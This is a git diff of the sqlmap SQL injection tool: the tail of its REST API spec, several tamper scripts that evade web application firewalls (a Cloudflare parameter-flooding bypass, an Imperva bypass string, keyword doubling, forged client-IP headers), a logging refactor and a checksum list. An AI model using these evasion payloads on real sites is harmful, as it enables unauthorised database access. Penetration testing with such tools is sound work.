description: "Task pool successfully flushed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
/option/{taskid}/list:
get:
tags:
- "option"
summary: "List task options"
description: ""
operationId: "optionList"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task to list it's options"
required: true
type: "string"
responses:
200:
description: "Task options successfully listed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
options:
type: object
additionalProperties:
type: string
example:
crawlDepth: null
osShell: false
getUsers: false
getPasswordHashes: false
excludeSysDbs: false
ignoreTimeouts: false
regData: null
fileDest: null
prefix: null
code: null
googlePage: 1
skip: null
query: null
randomAgent: false
osPwn: false
authType: null
safeUrl: null
requestFile: null
predictOutput: false
wizard: false
stopFail: false
forms: false
uChar: null
secondReq: null
taskid: d977b0e5f091370e
pivotColumn: null
dropSetCookie: false
smart: false
paramExclude: null
risk: 1
sqlFile: null
rParam: null
getCurrentUser: false
notString: null
getRoles: false
getPrivileges: false
testParameter: null
tbl: null
charset: null
trafficFile: null
osSmb: false
level: 1
dnsDomain: null
outputDir: null
encoding: null
skipWaf: false
timeout: 30
firstChar: null
torPort: null
getComments: false
binaryFields: null
checkTor: false
commonTables: false
direct: null
tmpPath: null
titles: false
getSchema: false
identifyWaf: false
paramDel: null
safeReqFile: null
regKey: null
murphyRate: null
limitStart: null
crawlExclude: null
flushSession: false
loadCookies: null
csvDel:
offline: false
method: null
tmpDir: null
fileWrite: null
disablePrecon: false
osBof: false
testSkip: null
invalidLogical: false
getCurrentDb: false
hexConvert: false
proxyFile: null
answers: null
host: null
dependencies: false
cookie: null
proxy: null
regType: null
optimize: false
limitStop: null
search: false
uFrom: null
noCast: false
testFilter: null
ignoreCode: null
eta: false
csrfToken: null
threads: 1
logFile: null
os: null
col: null
skipStatic: false
proxyCred: null
verbose: 1
isDba: false
updateAll: false
privEsc: false
forceDns: false
getAll: false
api: true
url: http://www.test.com/index.php?id=1
invalidBignum: false
regexp: null
getDbs: false
freshQueries: false
uCols: null
smokeTest: false
udfInject: false
invalidString: false
tor: false
forceSSL: false
beep: false
noEscape: false
configFile: null
scope: null
authFile: null
torType: SOCKS5
regVal: null
dummy: false
checkInternet: false
safePost: null
safeFreq: null
skipUrlEncode: false
referer: null
liveTest: false
retries: 3
extensiveFp: false
dumpTable: false
getColumns: false
batch: true
purge: false
headers: null
authCred: null
osCmd: null
suffix: null
dbmsCred: null
regDel: false
shLib: null
sitemapUrl: null
timeSec: 5
msfPath: null
dumpAll: false
fileRead: null
getHostname: false
sessionFile: null
disableColoring: true
getTables: false
listTampers: false
agent: null
webRoot: null
exclude: null
lastChar: null
string: null
dbms: null
dumpWhere: null
tamper: null
ignoreRedirects: false
hpp: false
runCase: null
delay: 0
evalCode: null
cleanup: false
csrfUrl: null
secondUrl: null
getBanner: true
profile: false
regRead: false
bulkFile: null
db: null
dumpFormat: CSV
alert: null
harFile: null
nullConnection: false
user: null
parseErrors: false
getCount: false
data: null
regAdd: false
ignoreProxy: false
database: /tmp/sqlmapipc-jGw6ZY
mobile: false
googleDork: null
saveConfig: null
sqlShell: false
tech: BEUSTQ
textOnly: false
cookieDel: null
commonColumns: false
keepAlive: false
/option/{taskid}/get:
post:
tags:
- "option"
summary: "Get task option value(s)"
description: ""
operationId: "optionGet"
consumes:
- "application/json"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task"
required: true
type: "string"
- in: body
name: options
description: ""
schema:
type: array
items:
type: string
example: ["url", "timeout"]
responses:
200:
description: "Task option value successfully retrieved"
schema:
type: object
properties:
success:
type: boolean
options:
type: array
items:
type: object
properties:
name:
type: string
value:
type: string
example:
- success: true
options:
url: http://www.test.com/index.php?id=1
timeout: 30
externalDocs:
description: "Find out more about sqlmap API (REST-JSON)"
url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json"
+36
View File
@@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import string
import random
from lib.core.enums import HINT
from lib.core.enums import PRIORITY
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
LUA-Nginx WAFs Bypass (e.g. Cloudflare)
Reference:
* https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
Notes:
* Lua-Nginx WAFs do not support processing of more than 100 parameters
>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
'0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&qX=&Ia=&Sy=&ZP=&aE=&1p=&u1=&lJ=&o7=&XB=&et=&F5=&gI=&RH=&YH=&7L=&KB=&Kx=&Js=&lL=&OD=&fU=&25=&03=&5H=&yR=&rY=&03=&K6=&JB=&O9=&4X=&fL=&EN=&0p=&Th=&nX=&uY=&gj=&Rc=&J4=&HQ=&bN=&LJ=&yw=&8c=&b7=&lh=&nX=&6b=&Ag=&qn=&Ov=&lF=&cg=&9m=&wT=&Z4=&kP=&7d=&P0=&vp=&LB=&kD=&zJ=&Ft=&wZ=&pI=&aT=&uc=&ro=&7v=&rw=&6N=&MS=&yz=&Oa=&lu=&oN=&x2=&Jz=&yR=&zP=&cB=&qj=&GE=&IU=&2E=&tC=&Y2=&Yl=&9N=&fS=&9y=&Qt=&nS=&aZ=&Gg=&hO=&2r=&8g=&0y=&fr=&CX=&1i=&GO=&v2=&rb=&cQ=&I6=&64=&cU=&RO=&S3=&Nx=&Hm=&Ka=&ju=&WS=&uM=&ck=&8r=&yI=&sD=&oc=&lG=&ey=&uz=&g4=&D0=&8v=&DR=&As=&T3=&5M=&x8=&Ne=&fU=&da=&yG=&BE=&KQ=&Aw=&9q=&WA=&wd=&1R=&3B=&Ph=&ym=&c6=&nj=&mx=&Hj=&98=&jz=&Q2=&E4=&tE=&EP=&mL=&nv=&73=&Yc=&jp=&W0=&KS=&Ye=&f1=&cn=&ca=&0u=&jO=&8F=&3F=&JQ=&XU=&9U=&4m=&HL=&ZD=&Xy=&K0=&XO=&al=&Fp=&e1=&6s=&zY=&dN=&hr=&Zd=&cz=&E1=&SP=&j9=&zL=&xc=&Dj=&cM=&Ng=&Iv=&xW=&E2=&LC=&Nu=&hQ=&MW=&h4=&X4=&2Q=&YG=&Wl=&WB=&UC=&We=&c5=&E3=&6P=&Jn=&fY=&3W=&RA=&sh=&AJ=&56=&zg=&VT=&bB=&Qb=&47=&Se=&ew=&bv=&a8=&Ye=&3m=&mP=&6h=&aw=&bL=&1l=&gv=&7i=&7w=&Ds=&67=&Nl=&9g=&Kj=&36=&Xt=&pU=&sA=&ci=&be=&eA=&IT=&iA=&Nf=&Bw=&6d=&zT=&tm=&sD=&6X=&rI=&QX=&By=&VA=&pC=&6i=&CN=&Dm=&aR=&Ma=&sV=&MH=&jR=&DQ=&Vo=&Vr=&9h=&2c=&pG=&Ky=&gp=&rU=&4K=&cX=&sv=&Gp=&5k=&zr=&GJ=&MG=&zN=&zW=&Ws=&xM=&jR=&xK=&iP=&vD=&zD=&Rt=&Od=&sU=&dM=&bD=&3a=&Ge=&1Q=&UP=&ac=&M9=&2R=&To=&Ur=&gC=&uk=&A3=&AB=&RG=&i4=&BW=&yY=&yn=&m6=&Kd=&yo=&fl=&dN=&kL=&LR=&Fr=&2v=&CN=&F7=&75=&5K=&ER=&nq=&ck=&aO=&iW=&Q8=&y5=&Cv=&g2=&Xu=&Cu=&bc=&wm=&Gl=&mP=&Tt=&1p=&vS=&c5=&eC=&Sc=&Y8=&Ch=&fg=&Vz=&4B=&eA=&UZ=&cl=&Eh=&25=&tA=&Ir=&Hm=&sB=&LH=&qo=&hW=&gT=&pr=&TO=&TF=&1h=&Oh=&Tw=&PR=&On=&Zo=&GP=&oM=&rk=&YI=&uK=&bi=&y8=&Fe=&VW=&WJ=&Rn=&TY=&Vv=&KM=&3g=&ZG=&wC=&an=&OE=&7D=&t0=&qL=&RY=&Wx=&dc=&T7=&vB=&SO=&qP=&sw=&HT=&jb=&Mb=&cn=&Oe=&d8=&A3=&nA=&wk=&u9=&Ux=&zq=&GT=&QC=&c5=&zy=&ai=&1F=&Tj=&u0=&Yp=&bY=&kW=&Qk=&e5=&LM=&Cj=&Lp=&XT=&b5=&cf=&sj=&ow=&Tz=&qE=&yt=&3I=&8V=&Jq=&QC=&Sz=&Eb=&Tc=&QK=&Wr=&Qm=&Gv=&8m=&Ju=&85=&KS=&Qv=&43=&uU=&aY=&J7=&wM=&uW=&L9=&ai=&ch=&56=&D6=&YW=&Ul=&1 AND 2>1'
"""
hints = kwargs.get("hints", {})
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER)
hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500))
return payload
-40
View File
@@ -1,40 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
Replaces predefined SQL keywords with representations suitable for replacement filters (e.g. SELECT -> SELSELECTECT)
Notes:
* Useful to bypass very weak custom filters
>>> random.seed(0)
>>> tamper('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
"""
keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
retVal = payload
warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
warnMsg += "You can set it manually according to your needs"
singleTimeWarnMessage(warnMsg)
if payload:
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
return retVal
+5
View File
@@ -41,6 +41,9 @@ def tamper(payload, **kwargs):
retVal = payload
if payload:
prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0))
retVal = retVal.strip('+')
while True:
indexes = zeroDepthSearch(retVal, '+')
@@ -76,4 +79,6 @@ def tamper(payload, **kwargs):
else:
break
retVal = "%s%s%s" % (prefix, retVal, suffix)
return retVal
+5
View File
@@ -42,6 +42,9 @@ def tamper(payload, **kwargs):
retVal = payload
if payload:
prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0))
retVal = retVal.strip('+')
while True:
indexes = zeroDepthSearch(retVal, '+')
@@ -89,4 +92,6 @@ def tamper(payload, **kwargs):
else:
break
retVal = "%s%s%s" % (prefix, retVal, suffix)
return retVal
+2 -1
View File
@@ -25,6 +25,7 @@ def tamper(payload, **kwargs):
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* SQLite 3
Notes:
* Useful to bypass very weak and bespoke web application firewalls
@@ -43,7 +44,7 @@ def tamper(payload, **kwargs):
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
word = match.group()
if word.upper() in kb.keywords:
if word.upper() in kb.keywords or ("%s(" % word) in payload:
while True:
_ = ""
-26
View File
@@ -1,26 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Appends special crafted string for bypassing Imperva SecureSphere WAF
Reference:
* http://seclists.org/fulldisclosure/2011/May/163
>>> tamper('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
"""
return payload + " and '0having'='0having'" if payload else payload
+2 -1
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import re
import urllib
from lib.core.enums import PRIORITY
@@ -25,6 +26,6 @@ def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))
retVal = re.sub(r"(?i)\bAND\b", urllib.quote("&&"), re.sub(r"(?i)\bOR\b", urllib.quote("||"), payload))
return retVal
+3 -3
View File
@@ -25,7 +25,7 @@ def tamper(payload, **kwargs):
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
>>> tamper("1' AND 1=1")
'1%bf%27-- '
'1%bf%27-- -'
"""
retVal = payload
@@ -46,7 +46,7 @@ def tamper(payload, **kwargs):
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
if _ != retVal:
retVal = _
retVal += "-- "
retVal += "-- -"
elif not any(_ in retVal for _ in ('#', '--', '/*')):
retVal += "-- "
retVal += "-- -"
return retVal
+4
View File
@@ -14,8 +14,10 @@ def dependencies():
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
@@ -25,4 +27,6 @@ def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
return payload
+23 -23
View File
@@ -130,6 +130,16 @@ class ColorizingStreamHandler(logging.StreamHandler):
ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)
def _reset(self, message):
if not message.endswith(self.reset):
reset = self.reset
elif self.bold in message: # bold
reset = self.reset + self.bold
else:
reset = self.reset
return reset
def colorize(self, message, levelno):
if levelno in self.level_map and self.is_tty:
bg, fg, bold = self.level_map[levelno]
@@ -162,41 +172,31 @@ class ColorizingStreamHandler(logging.StreamHandler):
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
if match:
time = match.group(1)
if not message.endswith(self.reset):
reset = self.reset
elif self.bold in message: # bold
reset = self.reset + self.bold
else:
reset = self.reset
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, reset)), 1)
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
match = re.search(r"\[(#\d+)\]", message) # counter
if match:
counter = match.group(1)
if not message.endswith(self.reset):
reset = self.reset
elif self.bold in message: # bold
reset = self.reset + self.bold
else:
reset = self.reset
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, reset)), 1)
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
match = re.search(r"'([^']+)'", message) # single-quoted
if level != "PAYLOAD" and match:
string = match.group(1)
if not message.endswith(self.reset):
reset = self.reset
elif self.bold in message: # bold
reset = self.reset + self.bold
if level != "PAYLOAD":
if any(_ in message for _ in ("parsed DBMS error message",)):
match = re.search(r": '(.+)'", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
reset = self.reset
message = message.replace(string, ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, reset)), 1)
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
if prefix:
message = "%s%s" % (prefix, message)
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
return message
def format(self, record):
+2
View File
@@ -79,6 +79,8 @@ COLORS = dict(
))
)
COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS))
RESET = '\033[0m'
+106 -96
View File
@@ -8,7 +8,6 @@ acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_
708e9fd35dabcbfcd10e91bbc14f091f extra/icmpsh/icmpsh_m.py
2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py
1e5532ede194ac9c083891c2f02bca93 extra/__init__.py
fe141ec3178a46e7151c7f34bb747c68 extra/mssqlsig/update.py
ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_
1e5532ede194ac9c083891c2f02bca93 extra/safe2bin/__init__.py
b6c0f2047e9bea90f4d5c5806c0f6a9a extra/safe2bin/safe2bin.py
@@ -21,63 +20,65 @@ e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py
1056d1112ba5130868178cb495d22b1d extra/shutils/regressiontest.py
1e5532ede194ac9c083891c2f02bca93 extra/sqlharvest/__init__.py
b3e60ea4e18a65c48515d04aab28ff68 extra/sqlharvest/sqlharvest.py
0f581182871148b0456a691ae85b04c0 lib/controller/action.py
94872ce72dc2628cdedf2eb82cba716e lib/controller/checks.py
c414cecdb0472c92cf50ed5b01e4438c lib/controller/controller.py
c7443613a0a2505b1faec931cee2a6ef lib/controller/handler.py
1e5532ede194ac9c083891c2f02bca93 extra/wafdetectify/__init__.py
c1bccc94522d3425a372dcd57f78418e extra/wafdetectify/wafdetectify.py
3459c562a6abb9b4bdcc36925f751f3e lib/controller/action.py
71334197c7ed28167cd66c17b2c21844 lib/controller/checks.py
95cde6dc7efe2581a5936f0d4635cb3b lib/controller/controller.py
988b548f6578adf9cec17afdeee8291c lib/controller/handler.py
1e5532ede194ac9c083891c2f02bca93 lib/controller/__init__.py
0adf547455a76dc71e6a599e52da1ed9 lib/core/agent.py
fd8f239e259afaf5f24bcf34a0ad187f lib/core/bigarray.py
ee1b800e860263b877a2b292a3e4becd lib/core/common.py
cb865cf6eff60118bc97a0f106af5e4d lib/core/agent.py
c347f085bd561adfa26d3a9512e5f3b9 lib/core/bigarray.py
9ed51d3e770b5cec2f8c91e962011d52 lib/core/common.py
0d082da16c388b3445e656e0760fb582 lib/core/convert.py
9f87391b6a3395f7f50830b391264f27 lib/core/data.py
72016ea5c994a711a262fd64572a0fcd lib/core/datatype.py
4086fb55f42e27de5330505605baad0f lib/core/decorators.py
fbb55cc6100318ff922957b6577dc58f lib/core/defaults.py
db165596ef0a3e19ec59c24192bb318d lib/core/dicts.py
9ea8a043030796e6faef7f7e957729d5 lib/core/dump.py
ab3f4f3e3019add5f4a2e28f7e8748a4 lib/core/enums.py
ac7c070b2726d39fbac1916b1a5f92b2 lib/core/dicts.py
760de985e09f5d11aacd3a8f2d8e9ff2 lib/core/dump.py
0cf974cf4ff3b96e1a349a12e39f4693 lib/core/enums.py
cada93357a7321655927fc9625b3bfec lib/core/exception.py
1e5532ede194ac9c083891c2f02bca93 lib/core/__init__.py
458a194764805cd8312c14ecd4be4d1e lib/core/log.py
05f72baa2db4073bb0273d7fc1df13eb lib/core/optiondict.py
8e759d4c8711a5980d4bdc2d044a4fd4 lib/core/option.py
7d6edc552e08c30f4f4d49fa93b746f1 lib/core/optiondict.py
7dacc178910ab4d57de36c3602bde17d lib/core/option.py
c8c386d644d57c659d74542f5f57f632 lib/core/patch.py
6783160150b4711d02c56ee2beadffdb lib/core/profiling.py
6f654e1715571eff68a0f8af3d62dcf8 lib/core/readlineng.py
0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py
a7db43859b61569b601b97f187dd31c5 lib/core/revision.py
fcb74fcc9577523524659ec49e2e964b lib/core/session.py
355a1680a1f53013390849ca50322c0e lib/core/settings.py
dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py
9f209388d9fed41480e57c8574d0111a lib/core/settings.py
a971ce157d04de96ba6e710d3d38a9a8 lib/core/shell.py
a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py
12bed9603b6fba3e5ffda11d584bc449 lib/core/target.py
52642badbbca4c31a2fcdd754d67a983 lib/core/target.py
72d499ca8d792e90a1ebfb2ad2341a51 lib/core/testing.py
e896992e4db26605ab1e73615b1f9434 lib/core/threads.py
cd0067d1798e45f422ce44b98baf57db lib/core/threads.py
c40758411bb0bd68764d78e0bb72bd0f lib/core/unescaper.py
b35636650cfe721f5cc47fb91737c061 lib/core/update.py
e772deb63270375e685fa5a7b775c382 lib/core/wordlist.py
1e5532ede194ac9c083891c2f02bca93 lib/__init__.py
7620f1f4b8791e13c7184c06b5421754 lib/parse/banner.py
babf5c48bc6a3797fc459706af4465cd lib/parse/cmdline.py
30d7cbada42154dcbb17f4ca969d812a lib/parse/cmdline.py
fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py
3794ff139869f5ae8e81cfdbe5714f56 lib/parse/handler.py
6bab53ea9d75bc9bb8169d3e8f3f149f lib/parse/headers.py
1bc6ddaeada0f2425fa9aae226854ca8 lib/parse/html.py
1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py
f2af274126ce0a789027d35d367f2b9e lib/parse/payloads.py
f6b5957bf2103c3999891e4f45180bce lib/parse/payloads.py
492654567e72b6a14584651fcd9f16e6 lib/parse/sitemap.py
30eed3a92a04ed2c29770e1b10d39dc0 lib/request/basicauthhandler.py
2b81435f5a7519298c15c724e3194a0d lib/request/basic.py
c0cabedead14b8a23353b606672cff42 lib/request/comparison.py
039f0f7cf997856fa2f6e8d5d69f7ae9 lib/request/connect.py
859b6ad583e0ffba154f17ee179b5b89 lib/request/comparison.py
77b24c30b1a2163add76652998e74127 lib/request/connect.py
dd4598675027fae99f2e2475b05986da lib/request/direct.py
2044fce3f4ffa268fcfaaf63241b1e64 lib/request/dns.py
98535d0efca5551e712fcc4b34a3f772 lib/request/httpshandler.py
1e5532ede194ac9c083891c2f02bca93 lib/request/__init__.py
a5cbc19ee18bd4b848515eb3ea3291f0 lib/request/inject.py
aaf956c1e9855836c3f372e29d481393 lib/request/methodrequest.py
51eeaa8abf5ba62aaaade66d46ff8b00 lib/request/pkihandler.py
83c7a13e38ad5eedb6bb13463a7a9e90 lib/request/pkihandler.py
2c3774b72586985719035b195f144d7b lib/request/rangehandler.py
3cd9d17fc52bb62db29e0e24fc4d8a97 lib/request/redirecthandler.py
7f12d8f3b6665ed7053954bba70ff718 lib/request/templates.py
@@ -86,10 +87,10 @@ acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py
1e5532ede194ac9c083891c2f02bca93 lib/takeover/__init__.py
46ff5840b29531412bcaa05dac190413 lib/takeover/metasploit.py
fb9e34d558293b5d6b9727f440712886 lib/takeover/registry.py
48575dde7bb867b7937769f569a98309 lib/takeover/udf.py
f6f835e4190a55e42d13c1e7ca3f728f lib/takeover/web.py
6a49f359b922df0247eb236126596336 lib/takeover/udf.py
a3d07df8a780c668a11f06be42014cdc lib/takeover/web.py
debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
0e9d37cbeabd1bbbfe2c53f01bbb6a6e lib/techniques/blind/inference.py
db208ab47de010836c6bf044e2357861 lib/techniques/blind/inference.py
1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py
1e5532ede194ac9c083891c2f02bca93 lib/techniques/dns/__init__.py
799faf9008527d2e9da9d923e50f685a lib/techniques/dns/test.py
@@ -98,124 +99,131 @@ debc36a3ff80ba915aeeee69b21a8ddc lib/takeover/xp_cmdshell.py
6007347548e85383705eaa4b863448a2 lib/techniques/error/use.py
1e5532ede194ac9c083891c2f02bca93 lib/techniques/__init__.py
1e5532ede194ac9c083891c2f02bca93 lib/techniques/union/__init__.py
94d7a22bb6725a91e84ba2cd9973e96d lib/techniques/union/test.py
f7813cdee00df8f98d6f811475e520a1 lib/techniques/union/test.py
7361338240ecd9d01d1d10ec76bce069 lib/techniques/union/use.py
77ff35587af9e3dfde63b8327e230f9a lib/utils/api.py
038ec99105c59acc2b1c6cb90e9e4043 lib/utils/api.py
37dfb641358669f62c2acedff241348b lib/utils/brute.py
31b1e7eb489eac837db6a2bc1dcb7da7 lib/utils/crawler.py
de9620f03231d8329ee8434884b6bacd lib/utils/deps.py
f9867bbfcd6d31916ca73e72e95fd881 lib/utils/deps.py
f7af65aa47329d021e2b2cc8521b42a4 lib/utils/getch.py
7af29f61302c8693cd6436d4b69e22d3 lib/utils/har.py
062e4e8fc43ac54305a75ddd0d482f81 lib/utils/hashdb.py
4d5b2262ad495301706a4cf4c565abec lib/utils/hash.py
1205648d55649accafae2cc77d647aa0 lib/utils/hashdb.py
d0f4d56c5d6a09a4635035e233d4a782 lib/utils/hash.py
011d2dbf589e0faa0deca61a651239cc lib/utils/htmlentities.py
1e5532ede194ac9c083891c2f02bca93 lib/utils/__init__.py
010d8327239d33af4ce9f25683cfc012 lib/utils/pivotdumptable.py
527409077a094b63c88f3291138b1c81 lib/utils/pivotdumptable.py
683c3bd05b6164f56a57ed495c162684 lib/utils/progress.py
0ec5cec9d93d5ffd1eaeda6e942ecadf lib/utils/purge.py
2c5a655c8e94cbe2664ee497752ac1f2 lib/utils/search.py
571884f530796534f03c49cf3f380a4c lib/utils/sqlalchemy.py
dcc25183c6bd85b172c87cfcbc305ab6 lib/utils/timeout.py
fad14adffa8b640a15b06db955031695 lib/utils/versioncheck.py
4703ceeb32131a9a7a6561575644123b lib/utils/versioncheck.py
e9e73cd6bd814dd7823a9da913cea61c lib/utils/xrange.py
b9d2761f47fec3d98b88311a263fd5db plugins/dbms/access/connector.py
d8a541a63f3b561334de51abb4dcad55 plugins/dbms/access/connector.py
3f1c50a1507d1c2f69c20c706230e2e2 plugins/dbms/access/enumeration.py
fcc66fc377db3681f7890ec55675564b plugins/dbms/access/filesystem.py
c2428c5c73d049abf4442ec1b9404a25 plugins/dbms/access/fingerprint.py
cdd082981b421248ece0e7cf278071ff plugins/dbms/access/fingerprint.py
e657b1b7a295a38ac9ce515158164f00 plugins/dbms/access/__init__.py
77686d7c7e287d5db0a9a87f2c7d4902 plugins/dbms/access/syntax.py
2f1d8706b51497623b2b59c07b552bdc plugins/dbms/access/takeover.py
8df07c2805aceb7d6fb4add40de84795 plugins/dbms/db2/connector.py
24a79eb2dde8ea9340a701c8c2591701 plugins/dbms/db2/connector.py
4deeda463003ab71e7d2f34a263b5bbf plugins/dbms/db2/enumeration.py
da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/db2/filesystem.py
b54dbf44590a5cbefb2b4f8e9a01a383 plugins/dbms/db2/fingerprint.py
ce434fc05a7ad236c49a155d62f0cac4 plugins/dbms/db2/fingerprint.py
95b35cbd859bbced44e7f8fd84486d75 plugins/dbms/db2/__init__.py
82d96d8fcfd565129580260040555623 plugins/dbms/db2/syntax.py
25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/db2/takeover.py
53bd7de27d37958f543f5329362ac298 plugins/dbms/firebird/connector.py
1ac54bbfb81ffed945636432bc49466b plugins/dbms/firebird/connector.py
bc4d71116d7296d63894484f2e60ade2 plugins/dbms/firebird/enumeration.py
c3ca81000200e5ab4210e9bf2e04ce93 plugins/dbms/firebird/filesystem.py
bd2159afbe83c70059f57712b4ae0189 plugins/dbms/firebird/fingerprint.py
bf98dbd666c162088f23ee697c065010 plugins/dbms/firebird/fingerprint.py
d4ea3036492b8ae15340548b2936021f plugins/dbms/firebird/__init__.py
c56f2dabe88fd761a1a9a51e4d104088 plugins/dbms/firebird/syntax.py
1522a29bd4b54ea78bb2855fc32b6c72 plugins/dbms/firebird/takeover.py
79c44d8d0dffc140d38796a32e92a66a plugins/dbms/h2/connector.py
5b99e9a60409f54a140747ce1ca0342f plugins/dbms/h2/enumeration.py
36522c36650afc43c1166ab68b297ecb plugins/dbms/h2/filesystem.py
83255ebf7b1d23a408f0c68a7fa63422 plugins/dbms/h2/fingerprint.py
1de698e4cfddd754ffe31ea2640a481a plugins/dbms/h2/__init__.py
4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/h2/syntax.py
af746ef421cfefedc1aaa9dca1503de2 plugins/dbms/h2/takeover.py
271a7f16e781d56a0a31a3d5515a1945 plugins/dbms/hsqldb/connector.py
95919592e5bb83df00b99bb9e8a70977 plugins/dbms/hsqldb/enumeration.py
616595e74ecb644271cbbd31815d92e0 plugins/dbms/hsqldb/filesystem.py
b7d693a6f5f39fee0a65f2d7b0830c5e plugins/dbms/hsqldb/fingerprint.py
7747ad6cc12e295ba3fb4518ac083d1e plugins/dbms/hsqldb/filesystem.py
b061bdbb9159c449072fde51b444f1c0 plugins/dbms/hsqldb/fingerprint.py
fd369161778d6b48d7f1f7fc14dcdb5c plugins/dbms/hsqldb/__init__.py
4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/hsqldb/syntax.py
7c0535736215ca612756cf589adb249b plugins/dbms/hsqldb/takeover.py
97dac442190bd4ffac3ba292e2abfd4c plugins/dbms/informix/connector.py
d61a5f79a9fa07c06fe7f5a653662e95 plugins/dbms/informix/connector.py
c54d70e4847c6327bd3110c4d8723b04 plugins/dbms/informix/enumeration.py
da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/informix/filesystem.py
35eac2f3837a72940eb50753dc4566e5 plugins/dbms/informix/fingerprint.py
b182f01c2ba82aa94fbe4948383ea98d plugins/dbms/informix/fingerprint.py
9dac94c8f76acf0be65b6c57ecdb5c34 plugins/dbms/informix/__init__.py
aa77fec4fe6b2d7ca4a91aebd9ff4e21 plugins/dbms/informix/syntax.py
25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/informix/takeover.py
1e5532ede194ac9c083891c2f02bca93 plugins/dbms/__init__.py
6917f9b045f6188b89e816dea9b46a3f plugins/dbms/maxdb/connector.py
f33efaab1695dc9885ebae3f6072fffa plugins/dbms/maxdb/enumeration.py
